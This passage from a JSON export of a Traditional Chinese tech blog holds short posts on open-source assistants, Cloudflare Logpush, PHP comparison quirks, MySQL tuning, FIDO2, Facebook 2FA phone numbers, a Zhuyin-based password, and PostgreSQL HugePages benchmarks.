    "body": "目前的語音助理都會把資訊傳回到中央伺服器，而 <a href=\"https://github.com/leon-ai/leon\">leon-ai/leon</a> 則是希望在本地端解決：\r\n\r\n<blockquote>Leon is an open-source personal assistant who can live on your server.\r\n\r\nHe does stuff when you ask him for.\r\n\r\nYou can talk to him and he can talk to you. You can also text him and he can also text you. If you want to, Leon can communicate with you by being offline to protect your privacy.</blockquote>\r\n\r\n作者錄了一段目前版本的功能，可以看到語音輸入與分析運作的還不錯：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/p7GRGiicO1c\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n看到 1.0.0 beta，最近應該會釋出正式版，接下來就是看可以掛什麼 plugin 進去讓他更好用？",
    "title": "開源的語音助理 Leon"
  },
  {
    "id": "8764",
    "body": "如果要找 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的歷史記錄，通常會去 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上翻，這邊可以翻到每天 top 10 的記錄，對於比較基本的情境下應該是夠用，但對於想要更多資料的人可能不太夠。\r\n\r\n剛剛看到官方直接提供了對應的功能，在「<a href=\"https://news.ycombinator.com/front\">https://news.ycombinator.com/front</a>」這邊算是入口，選個連結後會變成「<a href=\"https://news.ycombinator.com/front?day=2019-02-23\">https://news.ycombinator.com/front?day=2019-02-23</a>」這樣的 url，然後舉一反三可以直接改參數設定對應的日期，這樣就可以以日為單位看到當天的頁面。\r\n\r\n算是補個歷史記錄的功能...",
    "title": "Hacker News 官方提供的回朔功能"
  },
  {
    "id": "8765",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 Logpush，可以把 log 傳到 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 或是 <a href=\"https://cloud.google.com/storage/\">Google Cloud Storage</a> 上 (目前就支援這兩個)：「<a href=\"https://blog.cloudflare.com/cloudflare-logpush-the-easy-way-to-get-your-logs-to-your-cloud-storage/\">Logpush: the Easy Way to Get Your Logs to Your Cloud Storage</a>」，目前是 enterprise 方案可以用：\r\n\r\n<blockquote>Today, we’re excited to announce a new way to get your logs: Logpush, a tool for uploading your logs to your cloud storage provider, such as Amazon S3 or Google Cloud Storage. It’s now available in Early Access for Enterprise domains.</blockquote>\r\n\r\n<blockquote>Logpush currently works with Amazon S3 and Google Cloud Storage, two of the most popular cloud storage providers.</blockquote>\r\n\r\n以往是自己拉，需要考慮 HA 問題 (兩台小機器就可以了，機器成本是還好，但維護成本頗高)，現在則是可以讓 Cloudflare 主動推上來...\r\n\r\n我大多數的建議是 log 儘量留 (包括各種系統的 log 與 http access log)。主要是因為儲存成本一直下降 (S3 的 1TB 才 USD$23/month，如果使用 <a href=\"https://aws.amazon.com/glacier/\">Glacier</a> 會低到 USD$4/month)，而且 log 在壓縮後會變小很多 (經常會有重複的字)。\r\n\r\n最傳統的 <a href=\"https://awstats.sourceforge.io/\">AWStats</a> 就可以看到不少資訊，如果是透過 IP address 與 User-agent，交叉配合其他 event data 就可以讓很多 machine learning 演算法取得的資訊更豐富。",
    "title": "Cloudflare 發表 Logpush，把 log 傳出來"
  },
  {
    "id": "8767",
    "body": "<a href=\"https://www.zendesk.com/\">Zendesk</a> 的「<a href=\"https://medium.com/zendesk-engineering/hunting-for-memory-leaks-in-python-applications-6824d0518774\">Hunting for Memory Leaks in Python applications</a>」這篇介紹了 <a href=\"https://pypi.org/project/memory-profiler/\">memory_profiler</a> 這個工具，可以比較長期的觀察記憶體使用量的問題。\r\n\r\n首先是先看正常與疑似異常的分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oKUAwfU.webp\" /><img src=\"https://i.gslin.com/imgur/oKUAwfU.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yPsJLHs.webp\" /><img src=\"https://i.gslin.com/imgur/yPsJLHs.jpg\" alt=\"\" /></picture>\r\n\r\n然後可以拉出資料型態資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/O9a2QVg.webp\" /><img src=\"https://i.gslin.com/imgur/O9a2QVg.jpg\" alt=\"\" /></picture>\r\n\r\n這些資訊要找 memory leak 還是蠻粗糙的，但算是給了個方向，而且用起來算是簡單...",
    "title": "Python 上觀察 Memory Leak"
  },
  {
    "id": "8768",
    "body": "在「<a href=\"https://thehackernews.com/2019/02/android-fido2-password-security.html\">Android Gets FIDO2 Certification—Now Supports Secure Passwordless Logins</a>」這邊看到 <a href=\"https://www.android.com/\">Android</a> 7.0 支援 <a href=\"https://en.wikipedia.org/wiki/FIDO2_Project\">FIDO2</a> 了：\r\n\r\n<blockquote>If you have already installed the latest update of Google Play Services released earlier today, and your Android device is running Android version 7.0 Nougat or above—Congratulations! Your device is now FIDO2 Certified.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hhkfUOc.webp\" /><img src=\"https://i.gslin.com/imgur/hhkfUOc.jpg\" alt=\"\" /></picture>\r\n\r\n所以在 browser 有配合的情況下，可以用手機當作 MFA，而且 anti-phishing...",
    "title": "Android 的 FIDO2"
  },
  {
    "id": "8769",
    "body": "在「<a href=\"https://blog.josephscott.org/2019/03/01/links-february-2019/\">Links: February 2019</a>」這邊看到 <a href=\"https://secure.php.net/\">PHP</a> 社群的提案，想要改善數字與字串比較的結果：「<a href=\"https://wiki.php.net/rfc/string_to_number_comparison\">PHP RFC: Saner string to number comparisons</a>」。\r\n\r\n他給了一個經典的範例：\r\n\r\n<pre>$validValues = [\"foo\", \"bar\", \"baz\"];\r\n$value = 0;\r\nvar_dump(in_array($value, $validValues));\r\n// bool(true) WTF???</pre>\r\n\r\n原因是 <code>in_array()</code> 是 <code>==</code> 而非 <code>===</code>，所以就噴了... 而提案我看了還是覺得不行啊，看看會怎麼改吧 :o",
    "title": "PHP 數字與字串比較的提案"
  },
  {
    "id": "8770",
    "body": "也是在「<a href=\"https://blog.josephscott.org/2019/03/01/links-february-2019/\">Links: February 2019</a>」這邊看到的，裡面提到了 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2019/02/25/mysql-challenge-100k-connections/\">MySQL Challenge: 100k Connections</a>」。\r\n\r\nPercona 的測試是希望每個連線都有在做事，而不是 idle connection，這個測試有點像是卡住時的情況？看起來只有這幾個參數比較特別：\r\n\r\n<pre>table_open_cache = 200000\r\nback_log=3500\r\nmax_connections=110000\r\nmax_prepared_stmt_count=1000000</pre>\r\n\r\n<code>max_connections</code> 開多一點算是廢話，然後因為要做事所以 <code>max_prepared_stmt_count</code> 也多一些，<code>back_log</code> 可以讓 kernel 保留來不及處理的 TCP 連線。\r\n\r\n看起來用 <a href=\"https://github.com/akopytov/sysbench\">sysbench</a> 測試還撐的住，跟理論差不多，隨著連線數的增加 latency 也會增加...",
    "title": "單機 10 萬個連線 MySQL"
  },
  {
    "id": "8771",
    "body": "先前看到「<a href=\"https://engineering.linkedin.com/blog/2019/02/learning-hiring-preferences--the-ai-behind-linkedin-jobs\">Learning Hiring Preferences: The AI Behind LinkedIn Jobs</a>」這篇，<a href=\"https://www.linkedin.com/\">LinkedIn</a> 用機器學習提供雇主可能的對象。\r\n\r\n依照官方的說法，這次提到的改進是透過雇主的行為調整推薦。當雇主對某個人有興趣的時候，LinkedIn 就會調整演算法去配合雇主有興趣的條件：\r\n\r\n<blockquote>Based on how you interact with candidates, our algorithm learns your preferences and delivers increasingly relevant candidates across the Jobs product. If you’re consistently interested in candidates who are, say, accountants with leadership skills, or project managers who are adept at social media, we’ll send you more of those. And this all happens online in real time so that your feedback is taken instantly into account.</blockquote>\r\n\r\n透過模擬 20% 的加成：\r\n\r\n<blockquote>This new algorithm, which is used throughout the Jobs platform, performs nearly 20% better than the previous version in generating recommendations when we simulate our members' past hiring activity.</blockquote>\r\n\r\n在 social network 這種演算法其實就是同溫層 (Echo chamber、Filter bubble)，在 LinkedIn 這樣的行為不知道會不會牽扯到 Discrimination 的議題...",
    "title": "LinkedIn 用機器學習提供雇主可能的職缺對象"
  },
  {
    "id": "8772",
    "body": "<a href=\"https://www.google.com/\">Google</a> 透過環境辨識的方式改善 <a href=\"https://maps.google.com/\">Google Maps</a> 使用 GPS 定位時的精確度問題 (另外也試著解決方位不準的問題)：「<a href=\"https://ai.googleblog.com/2019/02/using-global-localization-to-improve.html\">Using Global Localization to Improve Navigation</a>」。\r\n\r\nGPS 因為是衛星訊號，會有反射訊號而導致定位漂移的問題，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7MjJ4q7.webp\" /><img src=\"https://i.gslin.com/imgur/7MjJ4q7.jpg\" alt=\"\" /></picture>\r\n\r\n另外也會有指北針不準的問題，Google 的解法是利用相機傳輸現在的畫面，判斷可能的地點，後面的資料庫應該就是街景圖：\r\n\r\n<img src=\"https://i.gslin.com/imgur/SWQquvk.gif\" alt=\"\" />\r\n\r\n這代表後面的系統已經有能力處力不同天氣的情境...\r\n\r\n不過看了一下 <a href=\"https://www.youtube.com/\">YouTube</a> 上的 keynote，是去年 <a href=\"https://events.google.com/io/\">Google I/O</a> 上提到的事情了，最近出現文章應該是開始提供給一般人用？在 <a href=\"https://www.facebook.com/\">Facebook</a> 上有看到一些人提到...\r\n\r\n用在室外的隱私性應該還在可以被接受的範圍？不是很確定...",
    "title": "用環境辨識改善 Google Maps 的定位"
  },
  {
    "id": "8773",
    "body": "前陣子看到「<a href=\"https://addyosmani.com/blog/script-priorities/\">JavaScript Loading Priorities in Chrome</a>」這篇，在分析 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 對各種 JavaScript 的優先順序。\r\n\r\n優先順序分成讀取的「Loading priority (network/Blink)」與執行的「Execution priority」，另外文章裡也有整理建議「Where should this be used?」。\r\n\r\n看起來 <code>&lt;script defer&gt; at the end of &lt;body&gt;</code> 是全部裡面最低的，建議是給 Load \"Related articles\" 或是 \"Give feedback\" 這類功能，不過應該沒什麼人真的這樣用...\r\n\r\n然後要注意的是，這邊分析的對象是 Google Chrome，實際在設計時應該要先考慮一般性的定義，再考慮對各瀏覽器的最佳化... (雖然以現在市占率來說沒什麼人想管其他瀏覽器...)",
    "title": "Chrome 對各種 JavaScript 的優先順序"
  },
  {
    "id": "8775",
    "body": "加州大學 (這是一個大學系統，包括了十個校區，超過 25 萬的學生與 14 萬的教職員) 認為 <a href=\"https://www.elsevier.com/\">Elsevier</a> 沒有達到 open access 應有的標準，決定將不再跟 Elsevier 續約，並且發出新聞稿抨擊 Elsevier：「<a href=\"https://www.universityofcalifornia.edu/press-room/uc-terminates-subscriptions-worlds-largest-scientific-publisher-push-open-access-publicly\">UC terminates subscriptions with world’s largest scientific publisher in push for open access to publicly funded research</a>」。\r\n\r\n<blockquote>As a leader in the global movement toward open access to publicly funded research, the University of California is taking a firm stand by deciding not to renew its subscriptions with Elsevier. Despite months of contract negotiations, Elsevier was unwilling to meet UC’s key goal: securing universal open access to UC research while containing the rapidly escalating costs associated with for-profit journals.</blockquote>\r\n\r\n這應該是美國頂尖學院裡面的第一槍？後續會帶動多少單位不續訂...",
    "title": "加州大學宣佈不與 Elsevier 續約"
  },
  {
    "id": "8776",
    "body": "看到用 <a href=\"https://www.python.org/\">Python</a> 寫的「<a href=\"https://github.com/smacke/subsync\">smacke/subsync</a>」這個軟體，可以自動校正字幕時間：\r\n\r\n<blockquote>Language-agnostic automatic synchronization of subtitles to video, so that subtitles are aligned to the correct starting point within the video.</blockquote>\r\n\r\n他把上面這個變成下面這個：\r\n\r\n<img src=\"https://i.gslin.com/imgur/VMkEax4.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/GuSxWR6.gif\" alt=\"\" />\r\n\r\n因為不是用 machine learning 所以速度意外的快。演算法是對影片本身產生一個 array，然後對字幕也產生 array，最後對兩個 array 用個簡單的公式校準：\r\n\r\n<ul>\r\n\t<li>Discretize video and subtitles by time into 10ms windows.</li>\r\n\t<li>For each 10ms window, determine whether that window contains speech. This is trivial to do for subtitles (we just determine whether any subtitle is \"on\" during each time window); for video, use an off-the-shelf voice activity detector (VAD) like the one built into webrtc.</li>\r\n\t<li>Now we have two binary strings: one for the subtitles, and one for the video. Try to align these strings by matching 0's with 0's and 1's with 1's. We score these alignments as (# matching digits) - (# mismatched digits).</li>\r\n</ul>\r\n\r\n就這樣解決問題 XD",
    "title": "自動校正字幕時間的軟體 subsync"
  },
  {
    "id": "8777",
    "body": "看到「<a href=\"https://debugandrelease.blogspot.com/2019/03/ui-redesigns-are-mostly-waste-of-time.html\">UI redesigns are mostly a waste of time</a>」這篇，標題說明了他想講的重點... 把粗體字的部份標出來：\r\n\r\n<blockquote>Just stop redesigning the UI all the time.</blockquote>\r\n\r\n<blockquote>People use applications because of their purpose, not because it is pleasing to the eye.</blockquote>\r\n\r\n<blockquote>The only time a UI should be updated is if it impacts the ability of a user to actually use your application.</blockquote>\r\n\r\n<blockquote>Please stop changing everything, stop making it more work for us to relearn the applications we like to use.</blockquote>\r\n\r\n<blockquote>Does it really add up, or are you just giving designers busywork that doesn't amount to anything in the end?</blockquote>\r\n\r\n<blockquote>Sometimes, if we are able to do it does not mean we should.</blockquote>\r\n\r\n這讓我想到 <a href=\"https://mail.google.com/\">Gmail</a> 了...",
    "title": "對 UI Redesign 的砲火"
  },
  {
    "id": "8779",
    "body": "看到這則 tweet，提到 <a href=\"https://en.wikipedia.org/wiki/Java_(programming_language)\">Java</a> 的支援度：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">We&#39;ve released version 2.0.0 of Java Is Still Free (<a href=\"https://t.co/VvAPtBYE1C\">https://t.co/VvAPtBYE1C</a>)  - giving you a full and balanced view of the <a href=\"https://twitter.com/hashtag/java?src=hash&amp;ref_src=twsrc%5Etfw\">#java</a> and <a href=\"https://twitter.com/hashtag/openjdk?src=hash&amp;ref_src=twsrc%5Etfw\">#openjdk</a> choices you have going forwards, including commercial support, <a href=\"https://twitter.com/search?q=%24free&amp;src=ctag&amp;ref_src=twsrc%5Etfw\">$free</a> and free to use - read it today!</p>&mdash; Java Champions (@Java_Champions) <a href=\"https://twitter.com/Java_Champions/status/1102273995544629248?ref_src=twsrc%5Etfw\">March 3, 2019</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n主要是裡面有張圖列出了目前市場上有的選擇，可以當關鍵字來查：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LhM365V.webp\" /><img src=\"https://i.gslin.com/imgur/LhM365V.jpg\" alt=\"\" /></picture>\r\n\r\n目前看起來如果要 Java 8 只有三個方案，其中有過 TCK 的只有兩個，看起來用 <a href=\"https://aws.amazon.com/corretto/\">Amazon Corretto</a> 算是個還不錯的選擇？",
    "title": "各種 Java 的版本"
  },
  {
    "id": "8781",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 上的行動電話號碼除了被拿來當作 2FA 的備案外，也被強制分享。更糟的是還被拿來當作廣告的條件：\r\n\r\n<blockquote class=\"twitter-tweet\" data-cards=\"hidden\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">For years Facebook claimed the adding a phone number for 2FA was only for security. Now it can be searched and there&#39;s no way to disable that. <a href=\"https://t.co/zpYhuwADMS\">pic.twitter.com/zpYhuwADMS</a></p>&mdash; Jeremy Burge ?? (@jeremyburge) <a href=\"https://twitter.com/jeremyburge/status/1101402001907372032?ref_src=twsrc%5Etfw\">March 1, 2019</a></blockquote>\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">This is so crazy: even if you deliberately don&#39;t include your mobile number in your Facebook profile, they&#39;ll harvest it when you use it for two-factor authentication, and let advertisers target you with it. <a href=\"https://t.co/0TIr0zsJOt\">https://t.co/0TIr0zsJOt</a> <a href=\"https://t.co/TigHlGR2zF\">pic.twitter.com/TigHlGR2zF</a></p>&mdash; Tom Gara (@tomgara) <a href=\"https://twitter.com/tomgara/status/1045080682379251721?ref_src=twsrc%5Etfw\">September 26, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n目前同時有 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm\">TOTP</a> (Facebook 的 app 提供的) 與 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a>，完全不會用到簡訊認證，就拔掉吧...",
    "title": "移除 Facebook 上的行動電話"
  },
  {
    "id": "8782",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到講分散式系統的整理：「<a href=\"https://github.com/aphyr/distsys-class\">An introduction to distributed systems</a>」，作者 (我記得他應該是在 <a href=\"https://stripe.com/\">Stripe</a>？) 之前因為需要研究資料庫的正確性而搞了不少事情，還開發了對應的測試框架。\r\n\r\n這篇文章把相關的理論都列出來，變成一篇滿滿都是關鍵字的文章。這邊提到的 12 到 16 小時應該是對於已經有基礎的人上課的時間，如果平常沒有在碰的人，以及需要自己學習的人應該會長很多：\r\n\r\n<blockquote>This outline accompanies a 12-16 hour overview class on distributed systems fundamentals.</blockquote>\r\n\r\n短時間應該看不完，但可以每個週末看一個主題研究一下... 然後也不用想太多，很多時候用單機硬幹 (scale up) 可以爭取到時間回來讀這些東西 &amp; 設計系統轉換。",
    "title": "分散式系統的介紹"
  },
  {
    "id": "8783",
    "body": "看到一個 demo 展示瀏覽器內 <a href=\"https://en.wikipedia.org/wiki/Cascading_Style_Sheets\">CSS</a> 的處理能力，看起來已經足夠到可以處理不少貼圖與光線效果的部分了：「<a href=\"https://keithclark.co.uk/labs/css-fps/\">CSS FPS</a>」。\r\n\r\n<blockquote>This is demo of a CSS powered 3D environment. Geometry is created with HTML elements and CSS transforms. Textures and lightmaps are composed by layering multiple background-images and colour is applied using CSS blend-modes.</blockquote>\r\n\r\n不過遊戲應該會需要更多種類的效果，這部份目前應該還是得靠 javascript 來產生... (如果要在瀏覽器裡面跑)",
    "title": "用 CSS 貼 3D 場景的圖"
  },
  {
    "id": "8784",
    "body": "看到「<a href=\"https://www.timsommer.be/famous-laws-of-software-development/\">Famous Laws Of Software Development</a>」這篇文章，2017 年的整理，裡面包括了很多軟體工程上的定律：\r\n\r\n<ul>\r\n\t<li>Murphy's Law</li>\r\n\t<li>Brook's Law</li>\r\n\t<li>Hofstadter's Law</li>\r\n\t<li>Conway's Law</li>\r\n\t<li>Postel's Law</li>\r\n\t<li>Pareto Principle</li>\r\n\t<li>The Peter Principle</li>\r\n\t<li>Kerchkhoff's Principle</li>\r\n\t<li>Linus's Law</li>\r\n\t<li>Moore's Law</li>\r\n\t<li>Wirth's law</li>\r\n\t<li>Ninety-ninety rule</li>\r\n\t<li>Knuth's optimization principle</li>\r\n\t<li>Norvig's Law</li>\r\n</ul>\r\n\r\n開頭就放 Murphy's Law... XD\r\n\r\n裡面的概念大多數都聽過了，有些知道名字，但有些只知道概念...",
    "title": "一堆軟體工程的定律..."
  },
  {
    "id": "8785",
    "body": "<a href=\"https://www.algolia.com/\">Algolia</a> 是一個搜尋引擎服務，他可以幫你 index 資料後，你直接 query 他取得結果。\r\n\r\n在這篇文章裡 Algolia 決定從 <a href=\"https://www.heroku.com/\">Heroku</a> 搬到 <a href=\"https://cloud.google.com/kubernetes-engine/\">GKE</a>：「<a href=\"https://blog.algolia.com/challenging-migration-heroku-google-kubernetes-engine/\">The Challenging Migration from Heroku to Google Kubernetes Engine</a>」。\r\n\r\n在文章只單純就產品與技術面上的需求在討論，像是一開始討論 IP 白名單的問題：\r\n\r\n<blockquote>A good example of this complexity is with IP Whitelisting. One of our customers wanted us to crawl from a fixed IP address so that they could whitelist that IP for high-rate crawling without being throttled by their load balancer. Only two engineers were developing the crawler, so we asked other colleagues to set up an HTTP proxy with a fixed IP address. Yet, as the number of customers grew, many more started asking for the same thing, and our infrastructure team told us it was time for us to take care of it ourselves.</blockquote>\r\n\r\n不過我更想知道搬過去後的各類成本差異... 省了多少平台費用，以及多少維護人力的差異，不過看起來沒提到 XD",
    "title": "Algolia 從 Heroku 搬到 GKE 的故事"
  },
  {
    "id": "8786",
    "body": "在「<a href=\"https://www.macrumors.com/2019/03/05/apple-registers-privacyisimportant-com-domain-name/\">Apple Registers PrivacyIsImportant.com Domain Name</a>」這邊看到 <a href=\"https://www.apple.com/\">Apple</a> 註冊了 <code>PrivacyIsImportant.com</code>，不過 comment 的反應一片噓聲 XDDD\r\n\r\n<img src=\"https://i.gslin.com/imgur/yoWTWiE.jpg\" alt=\"\" />\r\n\r\n大家對 Apple 的 <a href=\"https://en.wikipedia.org/wiki/Public_relations\">PR</a> 已經膩了 XD",
    "title": "Apple 註冊了 PrivacyIsImportant.com，不過..."
  },
  {
    "id": "8787",
    "body": "<a href=\"https://www.flickr.com/\">Flickr</a> 在被 <a href=\"https://www.smugmug.com/\">SmugMug</a> 收購後就開始在整理架構，其中一塊是把本來綁定 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 的登入拿掉，現在官方推出計畫了：「<a href=\"https://blog.flickr.net/en/2019/03/04/flickr-login-freedom-is-here/\">Flickr login freedom is here.</a>」。\r\n\r\n不過不是所有人都馬上可以用，而是逐步開放給使用者：\r\n\r\n<blockquote>The first page of the login experience has already been updated with a new look, but you will continue to log in to your Flickr account with your Yahoo credentials as you always have until the rollout reaches you.</blockquote>\r\n\r\n來繼續等...",
    "title": "Flickr 宣佈推出自己的登入系統，不過得排隊等..."
  },
  {
    "id": "8788",
    "body": "前幾天在 <a href=\"https://twitter.com/\">Twitter</a> 看到，剛剛在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上的整理又看到：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Fun thing I learned today regarding secure passwords: the password &quot;ji32k7au4a83&quot; looks like it&#39;d be decently secure, right? But if you check e.g. HIBP, it&#39;s been seen over a hundred times. Challenge: explain why and how this happened and how this password might be guessed</p>&mdash; Robert Ou (@rqou_) <a href=\"https://twitter.com/rqou_/status/1101331385632022528?ref_src=twsrc%5Etfw\">March 1, 2019</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n老外在研究的時候發現這個密碼看起來夠長 (12 個字)，而且也還算安全 (有英文與數字，看起來無意義)，但卻發現被大量重複使用，而不只是單一帳號在用，就很好奇發生這是什麼東西...\r\n\r\n對於台灣人來說應該是很熟悉了，這是注音輸入法的「我的密碼」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0VHzMLy.webp\" /><img src=\"https://i.gslin.com/imgur/0VHzMLy.jpg\" alt=\"\" /></picture>\r\n<small>出自維基百科的「<a href=\"https://en.wikipedia.org/wiki/File:Keyboard_layout_Zhuyin.svg\">File:Keyboard layout Zhuyin.svg</a>」</small>\r\n\r\n非拼音類的輸入法應該都會產生一樣的困惑...",
    "title": "最近很紅的密碼..."
  },
  {
    "id": "8789",
    "body": "看到 <a href=\"https://tldroptions.io/\">TLDR Stock Options</a> 這個站，印象中這個站已經存在一陣子了 (以前有看過的印象，但沒寫下來？)，不知道後續資料有沒有更新...\r\n\r\n這個站把輸入的資料大幅簡化 (只需要寫比重與現在在哪一輪)，然後給兩個數字，一個是你可以預期公司成功 exit 的比率，另外一個是你預期會拿到的金錢。\r\n\r\n這是大幅簡化的數字 (沒有區分領域與地域)，不過如果對 stock options 沒有概念的話可以抓個感覺。",
    "title": "新創的 Stock Options 風險與價值\b"
  },
  {
    "id": "8791",
    "body": "<a href=\"https://www.macrumors.com/\">MacRumors</a> 上看到的，先前只要透過第三方更換電池，蘋果就會拒絕後續所有保固，現在內部文件改成不保固電池的部分，其他的元件還是會提供保固：「<a href=\"https://www.macrumors.com/2019/03/05/iphones-third-party-batteries-now-repair-eligible/\">Apple Says iPhones With Third-Party Batteries Now Eligible for Repairs</a>」。\r\n\r\n<blockquote>iPhones with aftermarket batteries installed by third-party repair shops are now eligible for service at Genius Bars and Apple Authorized Service Providers, according to an internal Apple document obtained by MacRumors from three reliable sources.</blockquote>\r\n\r\n不確定是不是全球性的，但至少法國已經是了？\r\n\r\n突然想到『<a href=\"https://blog.gslin.org/archives/2018/04/12/8266/ftc-%E8%AD%A6%E5%91%8A-nintendo-%E8%88%87-sony%E3%80%8C%E6%8B%86%E5%B0%81%E5%96%AA%E5%A4%B1%E4%BF%9D%E5%9B%BA%E3%80%8D%E9%81%95%E5%8F%8D%E8%81%AF%E9%82%A6%E6%B3%95/\">FTC 警告 Nintendo 與 Sony「拆封喪失保固」違反聯邦法</a>』這篇，雖然兩者討論的主題不太一樣...",
    "title": "所以蘋果開始放鬆 iPhone 的第三方電池保固問題了？"
  },
  {
    "id": "8798",
    "body": "開頭我先說一下我的想法，我對於 <a href=\"https://www.percona.com/\">Percona</a> 的 Ibrar Ahmed 的文章保持著懷疑的態度，因為他先前在「<a href=\"https://www.percona.com/blog/2018/12/20/benchmark-postgresql-with-linux-hugepages/\">Benchmark PostgreSQL With Linux HugePages</a>」這篇做的 benchmark 就有奇怪的結果，但卻給不出合理的原因，甚至連 Percona 自家的 CEO 公開在 comment 問之後也沒有看到文章提出合理的解釋：\r\n\r\n<blockquote>Hi,\r\n\r\nA lot of interesting results here…\r\n\r\n1) PgBench access distribution is very interesting. With database size growing by 20% from 80G to 96G we see performance drop of Several times which is very counter-intuitive\r\n\r\n2) There is no difference between 2MB and 4K but huge difference between 1G and 2M even though I would expect at least some TLB miss reduction in the first transitioning. I would understand it in case transparent huge pages are Enabled… but not disabled\r\n\r\n3) For 96GB why would throughput grow with number of clients for 1G but fall for 2M and 4KB.</blockquote>\r\n\r\n這次看到「<a href=\"https://www.percona.com/blog/2019/03/06/settling-the-myth-of-transparent-hugepages-for-databases/\">Settling the Myth of Transparent HugePages for Databases</a>」這篇，也是在討論 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 的 HugePages 對 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 帶來的影響，同樣馬上又看到奇怪的東西...\r\n\r\n首先是標示與圖片不合：\r\n\r\n<blockquote>Figure 1.1 PostgreSQL’ s Benchmark, 10 minutes execution time where database workload(48GB) &lt; shared_buffer (64GB)</blockquote>\r\n\r\n<blockquote>Figure 1.2 PostgreSQL’ s Benchmark, 10 minutes execution time where database workload (48GB) &gt; shared_buffer (64GB)</blockquote>\r\n\r\n不過這邊可以推測 Figure 1.2 應該是 112GB (因為對應的圖片上面標的是 112GB)，當做是標錯就好。\r\n\r\n但這樣又跑出一個奇怪的結果，48GB 的資料量比較小，TPS 大約是 35K/33K/41K，但 112GB 資料量比較大，卻可以達到 39K/43K/41K~42K，反而比較快？我暫時想不到什麼理由...\r\n\r\n整體的測試有 pgbench 與 sysbench (這邊也打錯成 sysbecnch，先不管)，其中 pgbench 跑了 10 mins 與 60 mins 的版本，但是 sysbench 只跑了 10 mins 的版本？這是什麼原因...\r\n\r\n另外還是有些情況是打開 HugePages 比較快的 (sysbench 的 64 clients)，如果以直覺來說的話，我反而還是會打開 HugePages (yeah 純粹是直覺)，我現在比較想知道他會在 Percona 裡面待多久...",
    "title": "Percona 對於 PostgreSQL 使用 HugePages 的評論"
  },
  {
    "id": "8799",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/oerdnj\">Ondřej Surý</a> 因為得到協助 (包括 <a href=\"https://www.microsoft.com/\">Microsoft</a>)，所以會繼續支援 <a href=\"https://secure.php.net/\">PHP</a> 5.6 與 PHP 7.0 的 PPA 更新：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">PHP 5.6 and PHP 7.0 will stay (for now): <a href=\"https://t.co/iMkbVQdn5x\">https://t.co/iMkbVQdn5x</a><br><br>// Big kudos to <a href=\"https://twitter.com/RemiCollet?ref_src=twsrc%5Etfw\">@RemiCollet</a> and <a href=\"https://twitter.com/weltling?ref_src=twsrc%5Etfw\">@weltling</a> for backporting the security fixes for EOL versions of PHP in <a href=\"https://twitter.com/Microsoft?ref_src=twsrc%5Etfw\">@Microsoft</a> <a href=\"https://twitter.com/github?ref_src=twsrc%5Etfw\">@github</a> repository: <a href=\"https://t.co/IWRJHlDFqo\">https://t.co/IWRJHlDFqo</a></p>&mdash; DEB SURY ORG (@debsuryorg) <a href=\"https://twitter.com/debsuryorg/status/1103979509332754432?ref_src=twsrc%5Etfw\">March 8, 2019</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在「<a href=\"https://www.patreon.com/posts/php-5-6-and-php-25226448\">PHP 5.6 and PHP 7.0 will stay (for now)</a>」裡面有提到這是 best effort，沒有保證會維持多久：\r\n\r\n<blockquote>Please note that this is based on best effort and without any warranty.</blockquote>\r\n\r\n對於還在這兩個版本掙扎的人再多了一些時間...",
    "title": "Ondřej Surý 的 PPA 將會繼續支援 PHP 5.6 與 PHP 7.0 的安全性更新"
  },
  {
    "id": "8800",
